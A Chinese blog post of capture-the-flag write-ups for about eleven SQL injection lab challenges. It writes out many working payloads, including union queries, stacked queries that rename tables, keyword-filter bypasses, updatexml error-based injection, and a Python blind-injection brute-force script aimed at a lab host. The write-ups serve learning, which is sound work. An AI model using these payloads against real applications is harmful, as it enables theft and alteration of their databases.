WEB专项-SQL注入

一、EasySQL

1.进入靶场,发现有用户名和密码两个输入框,首先想到的是便是爆破,但这工作量有点大,根据题目的提示,这里存在sql注入漏洞。
image
2.在用户名和密码输入框中随便输入一点数据,找到传参位置。
image
image
3.尝试在用户名中输入通用的sql注入语句,admin or 1=1 --qwe,发现没生效,有可能是没有闭合的关系。
image
image
4.在admin后加上’,”,’),”)尝试去闭合,成功找到flag。
image
image

二、随便注1

1.进入靶场,点击提交按钮,出现如下画面。
image
2.尝试进行sql注入,使用通用命令1’ and 1=2-- qwe判断是否存在sql注入漏洞,画面无显示,存在sql注入漏洞。
image
3.使用命令1' order by 2 -- qwe去判断字段数为多少,尝试过后,字段数为2。
image
4.使用命令1' union select 1,2 -- qwe去判断显错位,发现该靶场过滤了select、update、drop等命令。
image
5.因为没有过滤show函数,尝试使用堆叠注入,命令1';show databases; -- qwe去显示数据库。
image
6.有6个数据库,一个一个去尝试,发现最后是在supersqli数据库中,命令1’;use supersqli; -- qwe和1’;show tables; -- qwe,发现supersqli数据库中有两个表,分别为1919810931114514、words。
image
7.通过命令1';show columns from `1919810931114514`; -- qwe去查1919810931114514数据表中的字段名,注意纯数字的数据库名要用反引号包裹。
image
8.发现有flag字段,但是过滤了select函数,故得通过其他方法去获取。通过网上查阅,一共有三种方法可以绕过。第一种,利用prepare语句存储过程绕过;第二种,重命名绕过;第三种,handler语句代替select查询。我们这里采用重命名绕过法。

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

执行完上述命令后,在执行1' or 1=1 -- qwe,即可出现flag。
image

三、EasySQL

1.进入靶场,尝试了一些union、select、order等关键字,发现回显都是Nonono,那看来是过滤了这些关键字。
image
2.尝试1;show databases;堆叠注入命令,回显了6个数据库。
image
3.但在尝试了与第2题相似的思路发现行不通,回显一直都是Nonono。回到原点,输入1,2,3等数字,都有回显且回显一样,但是输入0却没有回显。
image
image
image
4.猜测sql查询语句中包含||逻辑运算符,查询语句大概是select $POST[query]||flag from。但是输入1等数字,只回显了1个字段,是否可以构造语句让其回显两个字段或者更多的字段,尝试输入*,1出现flag。
image

四、LoveSQL

1.进入靶场,根据题意就知道存在sql注入漏洞,先利用admin’ and 1=2去判断是否存在。返回如下,确实存在sql注入漏洞。
image
2.再尝试判断字段数,admin’ order by 1 -- qwe,经过尝试,存在3个字段。
image
image
3.判断显错位,注入语句:admin' and 1=2 union select 1,2,3 -- qwe,经过测试,显示位在第二和第三字段。
image
image
4.让显错位显示当前数据库名称,为geek。注入语句:admin' and 1=2 union select 1,database(),3 -- qwe
image
image
5.再去判断该数据库存在几个数据表,有两个表,名字分别为geekuser,l0ve1ysq1。 注入语句:admin' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='geek' limit 0,1 -- qwe
image
image
image
6.再判断各个表中存在哪些字段。注入语句:admin' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='geek' and table_name='geekuser' limit 0,1 -- qwe和admin' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' limit 0,1 -- qwe。
geekuser表中的字段:
image
image
image
l0ve1ysq1表中的字段:
image
image
image
7.明显l0ve1ysq1存在猫腻,flag大概率存在于这个表中,故去一条一条的显示该表中的数据。注入语句:admin' and 1=2 union select 1,username,password from l0ve1ysq1 limit 0,1 -- qwe。经过尝试,在第十五条数据的时候出现了flag。
image

五、BabySQL

1.经过前几次的SQL注入题目,直接用通用命令admin' or 1=1 -- qwe注入。
image
2.发现命令中的or不见了,猜想应该是过滤了or,and等关键词,采用双写绕过的方式,命令admin' oorr 1=1 -- qwe。
image
3.成功绕过,继续判断字段数,命令admin' ororderder bbyy 3 -- qwe
image
4.以为order双写就行,没想到提示中就过滤了or,那就换个写法,命令admin' oorrder bbyy 3 -- qwe
image
5.根据判断,命令admin' oorrder bbyy 4 -- qwe报错,字段数为3。
image
6.判断显错位,命令admin' anandd 1=2 union select 1,2,3 -- qwe
image
7.提示过滤了union关键字,双写union绕过,命令admin' anandd 1=2 ununionion select 1,2,3 -- qwe
image
8.select关键字也被过滤了,继续双写select绕过,命令admin' anandd 1=2 ununionion selselectect 111,2222,3333 -- qwe
image
9.显错位为第二个字段和第三个字段,然后显示当前数据库,命令admin' anandd 1=2 ununionion selselectect 111,database(),3333 -- qwe
image
10.当前数据库名为geek,继续判断该数据库中存在哪些数据表,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 from information_schema.tables where table_schema='geek' -- qwe
image
11.where又被过滤了,只好继续双写绕过,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 from information_schema.tables whwhereere table_schema='geek' -- qwe
image
12.from中的ro又被过滤了,继续双写绕过,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 frfromom information_schema.tables whwhereere table_schema='geek' -- qwe
image
13.information中or也被过滤了,继续双写绕过,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' limit 0,1 -- qwe
image
image
14.存在两个数据表(b4bsql、geekuser),根据前两天的经验,flag应该在b4bsql数据表中,故判断该表存在哪些字段,命令admin' anandd 1=2 ununionion selselectect 111,column_name,3333 frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql' limit 0,1 -- qwe
image
image
image
15.该表存在id、username、password三个字段,读取该表中的数据,命令admin' anandd 1=2 ununionion selselectect 111,username,passwoorrd frfromom b4bsql limit 0,1 -- qwe
image
16.读到第七条数据时,出现flag,命令admin' anandd 1=2 ununionion selselectect 111,username,passwoorrd frfromom b4bsql limit 7,1 -- qwe
image

六、BlackList

1.通过注入1' or 1=1 -- qwe,页面显示正常;传参1' and 1=1 -- qwe,页面显示不正常,判断这里存在sql注入。
image
image
2.传入通用命令:1';select 1,2,3; -- qwe。发现被拦截了,存在过滤规则。
image
3.但是没有过滤show函数,可以尝试命令:1';show databases; -- qwe查看数据库。
image
4.经过尝试,flag在supersqli数据库中,命令:1’;use `supersql`; -- qwe和1’;show tables from `supersqli`; -- qwe查看数据表名。
image
5.命令1';show columns from `FlagHere`; -- qwe查看字段名。
image
6.由于过滤规则中过滤了rename、alter函数,所以这里只能采用handler函数进行读取,命令:1';handler FlagHere open;handler FlagHere read first; handler FlagHere close; -- qwe
image

七、Hack World

1.题目告诉我们表名叫flag,字段名也叫flag,且传参值是文章的id。当输入1时显示如下:
image
不输入时显示如下:
image
传1 or 1=2时显示如下:
image
2.存在过滤规则,基本可判定是布尔型盲注,尝试传入1^1显示如下:
image
传入10显示如下,看来运算可以使用。
image
3.下面开始构造payload:1^(ascii(substr(select flag from flag),0,1)>65),显示如下:
image
4.猜想可能是过滤了空格,所以用()进行代替,payload:0^(ascii(substr((select(flag)from(flag)),1,1))>0),显示如下:
image
说明(ascii(substr((select(flag)from(flag)),1,1))>0)这个语句是成立的。
5.接下来就是去一个个尝试了,所以这里编写脚本进行跑包。特别要注意的是time.sleep语句,如果没有这个语句,会造成请求服务器速度过快,导致获取的flag会有乱码或者不正确。
image

八、Babysqli

1.使用最简单的注入命令,右击查看源代码。
image
image
2.源代码中有一串字符串,由大写字母和数字组成,是base32加密,进行解密。
image
3.解密出来的字符串最后有两个等号,是base64加密,继续解密。
image
4.解密出来的就是sql的查询语句。根据语句可以推测出后台的判断是判断你输入的用户名是否存在于数据库中,然后再进行密码的判断,若相等则成功。为了使注册成功,union中输入的密码应该与password框中输入的密码一致。构造payload:1' union select 'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- qwe。其中5f4dcc3b5aa765d61d8327deb882cf99是password的hash加密值。
image
image
5.提示列数量不一致,经过尝试,修改payload:1' union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- qwe。
image
image
6.靶场也给出了源码,如下:
image
根据代码,就可以很好的理解注入过程了。过滤了(、)等符号,关键代码是$arr[1]==”admin”,md5($password) == $arr[2],所以payload才会设计成:1' union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- qwe,把admin和md5加密后的值放在第二和第三的位置上。

九、HardSQL

1.用最简单的注入命令:1' or 1=1 -- qwe,发现被过滤了。
image
2.根据大佬经验,可以通过fuzz测试,去判断哪些关键字被过滤了。
image
3.fuzz测试中的union联合注入等关键字被过滤了,空格也被过滤了,但可以用括号代替。updatexml关键字没有被过滤,这里可以尝试使用报错注入。payload:1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#。
image
4.得到数据库为geek,接下来就去获取数据表名。payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#。
image
5.接着获取字段名,payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image
6.获取字段值,payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
image
7.只获取到了一半的flag,下面就是想办法获取另一半的flag。用right函数,构造payload:
1'or(updatexml(1,concat(0x7e,right((select(password)from(H4rDsq1)),30)),1))#
image
8.将两个flag拼接在一起即可获得flag。

总结:
sql注入的一些方法
(1)联合查询注入:采用union、group_concat等函数
(2)报错注入:采用updatexml、extractvalue等函数
updatexml():
函数语法:updatexml(XML_Document,XPath_string,new_value)
我们通常在第二个xpath参数填写我们要查询的内容
例:updatexml(1,concat(0x7e,(select user()),0x7e),1)前后添加~使其不符合xpath格式而报错。

extractvalue():
函数语法:extractvalue(XML_Document,XPath_string)
利用原理与updatexml一致
例:extractvalue(1,concat(0x7e,(select user()),0x7e))
(3)盲注:substr、ord、right等函数
延时盲注:if、sleep函数
可以用于比较的一些关键字:like、regexp(不区分大小写,需要区分大小写敏感需要加上binary关键字)、between、in、^等

十、[WUSTCTF2020]颜值成绩查询。

1.输入1,2,3,4,5都有输出,6以上的数字显示学生号不存在。
image
image
2.经过尝试,此为sql盲注,可用异或运算,10有输出。判断数据库长度:0(length(database())=3)。
image
3.判断数据库名。
0^(ascii(substr(database(),1,1))=99)
0^(ascii(substr(database(),2,1))=116)
0^(ascii(substr(database(),3,1))=102)
数据库名为ctf。
4.判断数据表。
image
5.读取flag表中的字段。

for i in range(1, 11):
    for j in range(1, 128):
        temp[
            "stunum"] = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_schema=database())and(table_name='flag')))," + str(
            i) + ",1))=" + str(j) + ")"
        re = requests.get(url, params=temp)
        if "Hi admin" in re.text:
            print(j)
            table_name = table_name + chr(j)
            break
        time.sleep(0.25)
print(table_name)

image
6.读取字段值。

import requests
import time

url = "http://6582bcce-fd29-4c3e-9e74-0ed29c78b80a.node4.buuoj.cn:81/index.php"
temp = {"stunum": 1}
re1 = requests.get(url, params=temp).text
table_name = ''
flag = ''

for i in range(1, 43):
    for j in range(1, 128):
        temp[
            "stunum"] = "0^(ascii(substr((select(group_concat(value))from(flag))," + str(
            i) + ",1))=" + str(j) + ")"
        re = requests.get(url, params=temp)
        if "Hi admin" in re.text:
            print(chr(j))
            table_name = table_name + chr(j)
            break
        time.sleep(0.25)
print(table_name)
#         if "}" in table_name:
#             print(table_name)
#             break

image

十一、Fakebook

1.随机注册一个账号
image
image
2.右击查看源代码,发现存在view.php。
image
3.访问该网址,发现在url中存在注入点。
image
image
4.判断字段数为4.
image
image
5.联合查询。
image
6.发现对有些关键字进行了过滤,采用/**/进行绕过。
image
7.发现调用了反序列化函数,怀疑该网址中存在其他文件。用目录扫描工具果然扫出了flag.php和user.php.bak两个文件。
image
8.根据报错信息可以得到getBlogContents函数会被调用,该函数又是返回blog地址的get函数,可以结合序列化函数构造payload。
image
9.传参访问。
image
10.源代码中存在一串base64加密的字符串,点击链接即可。
image
image

posted @ 2024-04-01 21:08  死不悔改奇男子  阅读(66)  评论(0编辑  收藏  举报